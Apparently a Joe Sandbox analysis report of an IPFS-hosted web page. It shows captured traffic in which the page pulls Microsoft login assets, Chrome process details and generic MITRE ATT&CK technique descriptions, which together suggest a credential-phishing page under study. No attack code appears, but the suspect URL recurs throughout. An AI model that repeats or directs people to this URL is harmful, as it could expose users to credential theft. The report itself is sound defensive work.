2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 72 63 68 2d 64 65 63 6f 72 61 74 69 6f 6e 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 7d 3a 3a 2d 77 65 62 6b 69 74 2d 63 6f 6c 6f 72 2d 73 77 61 74 63 68 2d 77 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 3a 30 7d 3a 3a 2d 77 65 62 6b 69 74 2d 66 69 6c 65 2d 75 70 6c 6f 61 64 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 3a 3a 66 69 6c 65 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 6f 75 74 70 75 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 69 66 72 61 6d 65 7b 62 6f 72 64 65 72 3a 30 7d 73 Data Ascii: rch-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}s
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 66 6f 6f 74 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 66 6f 6f 74 65 72 3a 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 e2 80 94 c2 a0 Data Ascii: t-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 7b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 78 6c 3a 31 34 30 30 70 78 7d 2e 72 6f 77 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 3b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 62 73 2d 67 75 74 74 65 Data Ascii: {--bs-breakpoint-xs:0;--bs-breakpoint-sm:576px;--bs-breakpoint-md:768px;--bs-breakpoint-lg:992px;--bs-breakpoint-xl:1200px;--bs-breakpoint-xxl:1400px}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:wrap;margin-top:calc(-1 * var(--bs-gutte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	13.107.246.43	443	2080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:26:14 UTC	711	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:26:14 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:26:14 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: d8684736-401e-005e-3960-ad24b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240523T222614Z-16f669959b44q9nct1m0zvqgn400000003100000000009yg x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-23 22:26:14 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	13.107.246.45	443	2080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:26:15 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:26:15 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:26:15 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: d8684736-401e-005e-3960-ad24b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240523T222615Z-16f669959b4stn6b7qdxu69yy400000005eg000000001hs4 x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-23 22:26:15 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:26:16 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 22:26:16 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=236615 Date: Thu, 23 May 2024 22:26:16 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:26:17 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 22:26:18 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=236536 Date: Thu, 23 May 2024 22:26:17 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-23 22:26:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Target ID:	0
Start time:	18:26:06
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:26:09
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2484,i,13484271707041999364,4180294912672599584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:26:11
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 42

Chrome Cache Entry: 43

Chrome Cache Entry: 44

Chrome Cache Entry: 45

Chrome Cache Entry: 46

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 3120, Parent PID: 2892

General

Chronological Activities

Analysis Process: chrome.exePID: 2080, Parent PID: 3120

General

Windows Analysis Report
http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/